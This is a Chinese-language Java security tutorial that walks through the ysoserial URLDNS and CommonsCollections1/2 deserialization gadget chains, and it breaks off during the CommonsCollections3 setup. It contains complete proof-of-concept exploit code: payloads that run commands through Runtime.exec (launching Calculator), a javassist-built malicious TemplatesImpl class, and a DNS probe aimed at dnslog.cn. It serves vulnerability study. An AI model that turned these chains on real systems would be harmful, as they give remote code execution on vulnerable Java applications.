行业新闻

URLDNS链&CommonsCollections链详细分析

URLDNS链&CommonsCollections链详细分析

 

前言

在学习java安全时,ysoserial项目是一个非常值得的项目,这里记录一下自己学习过程中的思路及反序列化链的构造方式。

 

Java反射知识

定义

Java 反射机制可以可以无视类方法、变量去访问权限修饰符(如:protected、private 等),并且可以调用任意类的任何方法、访问并修改成员变量值。

反射的定义

反射是 Java 的特征之一,反射的存在使运行中的 Java 够获取自身信息,并且可以操作类或对象的内部属性。
通过反射可以在运行时获得程序或程序集中每一个类型的成员和成员信息;Java 的反射机制亦是如此,在运行状态中,通过 Java 的反射机制,能够判断一个对象的任意方法和属性。

反射的基本运用

获取类对象

forName() 方法

当要使用 Class 类中的方法获取类对象时,就需要使用 forName() 方法,只需要有类名称即可,在配置 JDBC 中通常采用这种方法。

undefined

.class 方法

任何数据类型都具备静态的属性,因此可以使用 .class 直接获取其对应的 Class 对象,使用这种方法时需要明确用到类中的静态成员。

undefined

getClass() 方法

可以通过 Object 类中的 getCLass() 方法来获取字节码,使用这种方法时必须明确具体的类,然后创建对象。

undefined

getSystemClassLoad().loadClass() 方法

getSystemClassLoad().loadClass() 方法与 forName() 方法类似,只要有类名即可;但是,forName() 的静态方法 JVM 会装载类,并且执行 static() 中的代码,而 getSystemClassLoad().loadClass() 不会执行 ststic() 中的代码。
例如 JDBC 中就是利用 forName() 方法,使 JVM 查找并加载制定的类到内存中,此时将 com.mysql.jdbc.Driver 当作参数传入就是让 JVM 去 com.mysql.jdbc 路径下查找 Driver 类,并将其加载到内存中。

undefined

获取类方法

getDeclaredMethods 方法

该方法返回类或接口声明的所有方法,包括 public、private 以及默认方法,但不包括继承的方法。

undefined

getMethods 方法

getMethods 方法返回某个类的所有 public 方法,包括其继承类的 public 方法。

undefined

getMethod 方法

getMethod 方法只能返回一个特定的方法,例如返回 Runtime 类中的 exec() 方法,该方法的第一个参数为方法名称,后面的参数为方法的参数对应 Class 的对象。

undefined

getDeclaredMethod 方法

该方法与 getMethod 方法类似,也只能返回一个特定的方法,该方法的第一个参数为方法名,第二个参数名是方法参数。

undefined

获取类成员变量

先创建一个 Student 类:

public class Student {
    private String id;
    private String name;
    private String age;
    public String content;
    protected String address;

    public String getId() {
        return id;
    }
    public void setId(String id) {
        this.id = id;
    }
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public String getAge() {
        return age;
    }
    public void setAge(String age) {
        this.age = age;
    }
    public String getContent() {
        return content;
    }
    public void setContent(String content) {
        this.content = content;
    }
    public String getAddress() {
        return address;
    }
    public void setAddress(String address) {
        this.address = address;
    }
}

getDeclaredFields 方法

getDeclaredFields 方法能够获得类的成员变量数组包括 public、private 和 protected,但是不包括父类的声明字段。

undefined

getFields 方法

getFields 方法能够获取某个类的所有 public 字段,包括父类中的字段。

undefined

getDeclaredField 方法

该方法与 getDeclaredFields 方法的区别是只能获得类的单个成员变量。

undefined

 

URLDNS链

前言

URLDNSysoserial中的一条利用链,通常用于检测是否存在Java反序列化漏洞,该利用链具有如下特点:

[1] URLDNS 利用链只能发起 DNS 请求,并不能进行其它利用
[2] 不限制 jdk 版本,使用 Java 内置类,对第三方依赖没有要求
[3] 目标无回显,可以通过 DNS 请求来验证是否存在反序列化漏洞

原理

java.util.HashMap实现了Serializable接口,重写了readObject, 在反序列化时会调用hash函数计算keyhashCode,而java.net.URLhashCode在计算时会调用getHostAddress来解析域名, 从而发出DNS请求。

分析过程

这里跟着ysoserial项目中URLDNSGadget来分析

Gadget Chain:
    HashMap.readObject()
    HashMap.putVal()
    HashMap.hash()
    URL.hashCode()

先跟进HashMap,看看其自己实现的readObject()函数,这里通过for循环来将HashMap中存储的key通过K key = (K) s.readObject();来进行反序列化,在这之后调用putVal()hash()函数。

undefined

跟进hash()函数看看是如何实现的,当key!=null时会调用hashCode()函数。

undefined

跟进hashCode()函数,由于在ysoserial中的URLDNS是利用URL对象,于是跟进Java基本类URL中关于hashCode()的部分java/net/URL.java,由于hashCode的值默认为-1,因此会执行hashCode = handler.hashCode(this);

undefined

看看handler.hashCode()函数是如何实现的,这里利用一个Demo代码来调试看看。

import java.net.URL;

public class URLDemo {
    public static void main(String[] args) throws Exception {
        URL url = new URL("http://6ppzw1.dnslog.cn");
        url.hashCode();
    }
}

先看看请求之后的结果,成功触发了DNS请求,来看看是如何实现的。

undefined

调试跟进java/net/URLStreamHandler.java中的hashCode()函数,可以看到这里调用了一个函数getHostAddress()来进行DNS解析返回对应的IP

undefined

ysoserial中是通过put()函数来触发的,其实这一步的实现和前面的是一样的,都是通过hash()函数来实现的。

undefined

但是上面的分析过程仿佛和反序列化并没有什么关联,其实当HashMap传入一个URL对象时,会进行一次DNS解析,并且HashMap实现了Serializable接口,重写了readObject,也就是说当一个Java应用存在反序列化漏洞时,可以通过传入一个序列化后的HashMap数据(将URL对象作为key放入HashMap中),当传入的数据到达该Java应用的反序列化漏洞点时,这时程序就会调用HashMap重写的readObject()函数来反序列化读取数据,进而触发key.hashCode()函数进行一次DNS解析。

ysoserial 项目代码分析

ysoserial项目中URLDNS的代码并没有这么简单,还有一些其他的代码段,来看看这些”多余的”代码的用处是啥。

public class URLDNS implements ObjectPayload<Object> {
        public Object getObject(final String url) throws Exception {
                URLStreamHandler handler = new SilentURLStreamHandler();
                HashMap ht = new HashMap();
                URL u = new URL(null, url, handler);
                ht.put(u, url); 
                Reflections.setFieldValue(u, "hashCode", -1);
                return ht;
        }
        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }
                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

这里通过继承URLStreamHandler类,重写openConnection()getHostAddress()函数,而这里重写的目的在于: HashMap#put时也会调用getHostAddress()函数进行一次DNS解析,这里就是通过重写的getHostAddress()函数来覆盖掉原函数,从而使其不进行DNS解析,避免在Payload在创建的时候进行DNS解析。

代码Reflections.setFieldValue(u, "hashCode", -1);中的setFieldValue()函数是ysoserial项目自定义的一个反射类中的函数。

public class Reflections {
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
}

上述代码通过反射来设置URL类的hashCode的值为-1,这是因为在HashMap#put时已经调用过一次hashCode()函数,hashCode的值会改变不再为-1,这样会导致在下一步经过HashMapreadObject()函数反序列化时直接返回hashCode的值,不再调用handler.hashCode(this),因此利用反射来将hashCode的值设为-1,最后利用PayloadRunner.run()来进行反序列化。

POC链

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;

public class URLDemo {

    public static void main(String[] args) throws Exception {
        Date nowTime = new Date();
        HashMap hashmap = new HashMap();
        URL url = new URL("http://lttx9f.dnslog.cn");
        SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
        Field filed = Class.forName("java.net.URL").getDeclaredField("hashCode");
        filed.setAccessible(true);  // 绕过Java语言权限控制检查的权限
        filed.set(url, 209);
        hashmap.put(url, 209);
        System.out.println("当前时间为: " + simpleDateFormat.format(nowTime));
        filed.set(url, -1);

        try {
            FileOutputStream fileOutputStream = new FileOutputStream("./dnsser");
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
            objectOutputStream.writeObject(hashmap);
            objectOutputStream.close();
            fileOutputStream.close();

            FileInputStream fileInputStream = new FileInputStream("./dnsser");
            ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
            objectInputStream.readObject();
            objectInputStream.close();
            fileInputStream.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

从请求结果中可以看出,在Payload生成阶段并没有发起DNS解析,而是在后续反序列化过程中进行的请求。

undefined

 

CommonsCollections 介绍

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并实现了各种集合工具类,被广泛运用于各种Java应用的开发,目前常说的存在缺陷的版本是Apache Commons Collections 3.2.1以下(4.0版本也是存在的)

 

CommonsCollections1链

环境搭建

  1. JDK版本:JDK1.8u66(要求JDK8u71以下)
  2. Commons-Collections版本:3.1

利用maven来进行搭建,先创建一个Maven项目,不用选择任何Maven模板,pom.xml中内容如下,之后选择右侧的更新,让其自动导入包即可。

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>commons-collections</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
    </dependencies>

</project>

前置知识

Commons Collections库中提供了一个抽象类org.apache.commons.collections.map.AbstractMapDecorator,这个类是Map的扩展,且是一个基础的装饰器,用来给Map提供附加功能,这个类有很多实现类,且每个类的触发方式也都是不一样的,在Commons-Collections1链中需要重点关注TransformedMap类和LazyMap类。

Transformer

org.apache.commons.collections.Transformer是一个接口,提供了一个transform()方法,用来定义具体的转换逻辑,方法接收Object类型的input,处理后将Object返回,在Commons-Collection中,程序提供了多个Transformer的实现类,用来实现不同的TransformedMap类中key、value进行修改的功能。

undefined

TransformedMap

org.apache.commons.collections.map.TransformedMap类可以在一个元素被加入到集合内时自动对该元素进行特定的修饰变换,在decorate()方法中,第一个参数为修饰的Map类,第二个参数和第三个参数作为一个实现Transformer接口的类,用来转换修饰的Map的键、值(为null时不进行转换);因此,当被修饰的map添加新元素的时候便会触发这两个类的transform方法。

undefined

LazyMap

org.apache.commons.collections.map.LazyMapTransformedMap类似,区别在于当LazyMap调用get()方法时如果传入的key不存在,则会触发相应参数的Transformertransform()方法。
补充一下:与LazyMap具有相同功能的还有org.apache.commons.collections.map.DefaultedMap,同样也是get()方法会触发transform()方法。

undefined

ConstantTransformer

org.apache.commons.collections.functors.ConstantTransformer是一个返回固定常量的Transformer,在初始化时储存了一个Object,后续的调用时会直接返回这个Object,这个类用于和ChainedTransformer配合,将其结果传入InvokerTransformer来调用我们指定的类的指定方法。

undefined

InvokerTransformer

这是一个实现类,在Commons-Collections 3.0引入,利用反射来创建一个新的对象。

undefined

demo 代码:

import org.apache.commons.collections.functors.InvokerTransformer;

public class InvokerTransformerDemo {
    public static void main(String[] args) {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"});
        invokerTransformer.transform(Runtime.getRuntime());
    }
}

undefined

ChainedTransformer

org.apache.commons.collections.functors.ChainedTransformer类也是一个Transformer的实现类,但是这个类自己维护了一个Transformer数组,在调用ChainedTransformer类的transform方法时会循环数组,依次调用Transformer数组中每个Transformertransform方法,并将结果传递给下一个Transformer,在这样的处理机制下,可以链式调用多个Transformer来分别处理对象。

undefined

demo 代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class ChainedTransformerDemo {

    public static void main(String[] args) throws ClassNotFoundException{
        // Transformer 数组
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"})
        };

        // ChainedTransformer 实例
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform("ChainedTransformerDemo");
    }
}

Commons-Collections1-TransformedMap 分析

利用TransformedMapdecorate方法来将ChainedTransformer设置为map装饰器的处理方法,调用TransformedMapput()/setValue()等方法时会触发Transformer链的调用方法。
寻找一个重写了readObject的类,在反序列化时可以改变map的值,定位到sun.reflect.annotation.AnnotationInvocationHandler类,这个类实现了InvocationHandler接口 (原本是用于JDK对于注解形式的动态代理)。

AnnotationInvocationHandler类的构造方法有两个参数,第一个参数是Annotation实现类的Class对象,第二个参数是一个keyStringvalueObjectMap,需要注意的是,构造方法会对var1进行判断,当且仅当var1只有一个父接口且为Annotation.class时,才会将两个参数初始化在成员属性typememberValues中。

undefined

接着看看AnnotationInvocationHandler类重写的readObject方法,首先调用AnnotationType.getInstance(this.type)方法来获取type这个注解类对应的AnnotationType的对象,然后获取其memberTypes属性,这个属性是个Map,存放这个注解中可以配置的值,接着循环this.memberValues这个Map来获取其Key,如果注解类的memberTypes属性中存在与this.memberValueskey相同的属性,并且取得的值不是ExceptionProxy的实例也不是memberValues中值的实例,则取得其值并调用setValue方法写入值。

undefined

根据上面的分析过程,构造Payload的思路基本就没啥问题了。

[1] 构造 AnnotationInvocationHandler 实例,传入一个注解类和一个 Map,这个 Map 的 key 中要具有注解类中存在的属性并且值不是对应的实例和 ExceptionProxy 对象
[2] 这个 Map 用 TransformedMap 进行封装,并且调用自定义的 ChainedTransformer 进行装饰
[3] ChainedTransformer 中写入多个 Transformer 实现类来进行链式调用从而达到恶意操作

POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsTransformedMap {

    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Transformer[] transformer = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
        Map hashMap = new HashMap();
        hashMap.put("value", "d1no");
        Map transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
        Class<?> h3rmesk1t = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = h3rmesk1t.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, transformedMap);

        try {
            // 序列化
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(invocationHandler);
            objectOutputStream.close();

            // 反序列化
            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
            objectInputStream.readObject();
            objectInputStream.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

undefined

Commons-Collections1-LazyMap 分析

核心点在LazyMap#getLazyMap在没有key时会尝试调用this.factory.transform方法,而this.factory可以指定为Transformer对象,而且transform方法参数会被忽略掉,因此只需要寻找一个调用了LazyMap.get的方法。

undefined

这里AnnotationInvocationHandler类的invoke()方法可以触发this.memberValues来调用get方法,从而触发LazyMap#get

undefined

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsLazyMap {

    public static void main(String[] ars) throws ClassNotFoundException ,InstantiationException, IllegalAccessException, InvocationTargetException {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map LazyMap = org.apache.commons.collections.map.LazyMap.decorate(new HashMap(), chainedTransformer);
        Class<?> h3rmesk1t = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = h3rmesk1t.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, LazyMap);
        Map mapProxy = (Map) Proxy.newProxyInstance(org.apache.commons.collections.map.LazyMap.class.getClassLoader(), org.apache.commons.collections.map.LazyMap.class.getInterfaces(), invocationHandler);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, mapProxy);

        try {
            // 序列化
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(handler);
            objectOutputStream.close();

            // 反序列化
            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
            objectInputStream.readObject();
            objectInputStream.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

undefined

调用链

AnnotationInvocationHandler.readObject()
   *Map(Proxy).entrySet()
        *AnnotationInvocationHandler.invoke()
            LazyMap.get()/TransformedMap.setValue()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                        InvokerTransformer.transform()

总结

利用AnnotationInvocationHandler在反序列化时会触发Mapget/set等操作,配合TransformedMap/LazyMap在执行Map对象的操作时会根据不同情况调用Transformer的转换方法,最后结合了ChainedTransformer的链式调用、InvokerTransformer的反射执行完成了恶意调用链的构成,其中LazyMap的触发还用到了动态代理机制。

 

CommonsCollections2链

环境搭建

  1. JDK版本:JDK1.8u66
  2. Commons-Collections4版本:4.0
  3. javassit版本:3.25.0-GA

利用maven来进行搭建,先创建一个Maven项目,不用选择任何Maven模板,pom.xml中内容如下,之后选择右侧的更新,让其自动导入包即可。

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>commons-collections</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.25.0-GA</version>
        </dependency>
    </dependencies>

</project>

前置知识

PriorityQueue

PriorityQueue优先级队列是基于优先级堆的一种特殊队列,它给每个元素定义“优先级”,这样取出数据的时候会按照优先级来取,默认情况下,优先级队列会根据自然顺序对元素进行排序;因此放入PriorityQueue的元素必须实现Comparable接口,PriorityQueue会根据元素的排序顺序决定出队的优先级,如果没有实现Comparable接口,PriorityQueue还允许提供一个Comparator对象来判断两个元素的顺序,PriorityQueue支持反序列化,在重写的readObject方法中将数据反序列化到queue中之后,会调用heapify()方法来对数据进行排序。

undefined

heapify()方法中又会调用siftDown()方法,在comparator != null下会调用siftDownUsingComparator()方法,在siftDownUsingComparator()方法中会调用comparatorcompare()方法来进行优先级的比较和排序。

undefined

TransformingComparator

TransformingComparator类似TransformedMap,用Tranformer来装饰一个Comparator,待比较的值将先使用Tranformer转换,再传递给Comparator比较,TransformingComparator初始化时配置TransformerComparator,如果不指定Comparator则使用ComparableComparator.<Comparable>comparableComparator()
在调用TransformingComparatorcompare方法时,调用了this.transformer.transform()方法对要比较的两个值进行转换,然后再调用compare方法比较。

undefined

PriorrityQueue中最后会通过comparatorcompare()方法来进行优先级的比较和排序,这里可以通过调用TransformingComparator中的transform()方法来和之前连接起来。

Javassist

Java字节码以二进制的形式存储在.class文件中,每一个.class文件包含一个Java类或接口,Javaassist就是一个用来处理Java字节码的类库,它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解,同时也可以去生成一个新的类对象,通过完全手动的方式。

TemplatesImpl

TemplatesImpl的属性_bytecodes存储了类字节码,TemplatesImpl类的部分方法可以使用这个类字节码去实例化这个类,这个类的父类需是AbstractTranslet,在这个类的无参构造方法或静态代码块中写入恶意代码,再借TemplatesImpl之手实例化这个类触发恶意代码。

Commons-Collections2 分析

先跟进PriorityQueue#readObject,其queue的值来自于readObject()方法,是可控的,循环完成后会调用heapify()方法。

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

heapify()方法中,继续会调用siftDown()方法,这里的x是可控的,让comparator不为空进而调用siftDownUsingComparator()方法,在siftDownUsingComparator()方法中会调用前面comparatorcompare方法。

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

这里将comparatorTransformingComparator结合起来,如果这里this.transformer是可控的话,就可以进一步利用CC-1链的后半段部分。

public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

这里需要注意几个地方,在heapify()方法处的size要是大于1的,只有这样才会继续进入到siftDown()方法中。

POC-1

利用PriorityQueueCommonsCollections-1后半部分来进行构造。

package CommonsCollections2;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

/**
 * @Author: H3rmesk1t
 * @Data: 2021/11/26 9:42 下午
 */
public class CommonsCollectionsGadget1 {
    // public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
    public static void CC2() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue(2);
        priorityQueue.add(1);
        priorityQueue.add(2);
        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(priorityQueue, transformingComparator);
        try {
            // 序列化操作
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CC2EvilGadget.bin"));
            outputStream.writeObject(priorityQueue);
            outputStream.close();
            // 反序列化操作
            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CC2EvilGadget.bin"));
            inputStream.readObject();
            inputStream.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        try {
            CC2();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

undefined

POC-2

为了更好的符合实战利用中的要求,利用InvokerTransformer触发TemplatesImplnewTransformer,从而读取恶意字节码从而进行执行命令,并且利用javassistTemplatesImpl来进行构造。

package CommonsCollections2;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.*;
import java.io.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

/**
 * @Author: H3rmesk1t
 * @Data: 2021/11/29 1:37 上午
 */
public class CommonsCollectionsGadget2 {
    public static void CC2() throws NoSuchMethodException, IllegalAccessException, NoSuchFieldException, ClassNotFoundException, NotFoundException, CannotCompileException, IOException{
        Class c1 = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer");
        Constructor constructor = c1.getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        Transformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ctClass = classPool.makeClass("CommonsCollectionsEvilCode");
        ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        String shell = "java.lang.Runtime.getRuntime().exec(\"open -a /System/Applications/Calculator.app\");";
        ctClass.makeClassInitializer().insertBefore(shell);
        ctClass.writeFile("./");

        byte[] ctClassBytes = ctClass.toBytecode();
        byte[][] targetByteCodes = new byte[][]{ctClassBytes};

        TemplatesImpl templates = new TemplatesImpl();
        Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field _name = clazz.getDeclaredField("_name");
        Field _bytecode = clazz.getDeclaredField("_bytecodes");
        Field _tfactory = clazz.getDeclaredField("_tfactory");
        _name.setAccessible(true);
        _bytecode.setAccessible(true);
        _tfactory.setAccessible(true);
        _name.set(templates, "h3rmesk1t");
        _bytecode.set(templates, targetByteCodes);
        _tfactory.set(templates, new TransformerFactoryImpl());

        TransformingComparator transformingComparator = new TransformingComparator(transformer);
        PriorityQueue priorityQueue = new PriorityQueue(2);
        priorityQueue.add(1);
        priorityQueue.add(2);
        Class c2 = Class.forName("java.util.PriorityQueue");
        Field _queue = c2.getDeclaredField("queue");
        _queue.setAccessible(true);
        Object[] queue_array = new Object[]{templates,1};
        _queue.set(priorityQueue,queue_array);

        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(priorityQueue, transformingComparator);
        try {
            // 序列化操作
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CC2EvilGadget2.bin"));
            outputStream.writeObject(priorityQueue);
            outputStream.close();
            // 反序列化操作
            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CC2EvilGadget2.bin"));
            inputStream.readObject();
            inputStream.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        try {
            CC2();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

undefined

调用链

ObjectInputStream.readObject()
    PriorityQueue.readObject()
        PriorityQueue.heapify()
            PriorityQueue.siftDown()
                PriorityQueue.siftDownUsingComparator()
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                                Method.invoke()
                                    TemplatesImpl.newTransformer()
                                         TemplatesImpl.getTransletInstance()
                                         TemplatesImpl.defineTransletClasses
                                         newInstance()
                                            Runtime.exec()

总结

利用PriorityQueue在反序列化后会对队列进行优先级排序的特点,为其指定TransformingComparator排序方法,并在其中为其添加Transforer,与CommonsCollections1链类似,主要的触发位置还是InvokerTransformer

 

CommonsCollections3链

环境搭建

  1. JDK版本:JDK1.8u66(要求JDK8u71以下)
  2. Commons-Collections版本:3.1

利用maven来进行搭建,先创建一个Maven项目,不用选择任何Maven模板,pom.xml中内容如下,之后选择右侧的更新,让其自动导入包即可。

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>commons-collections</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
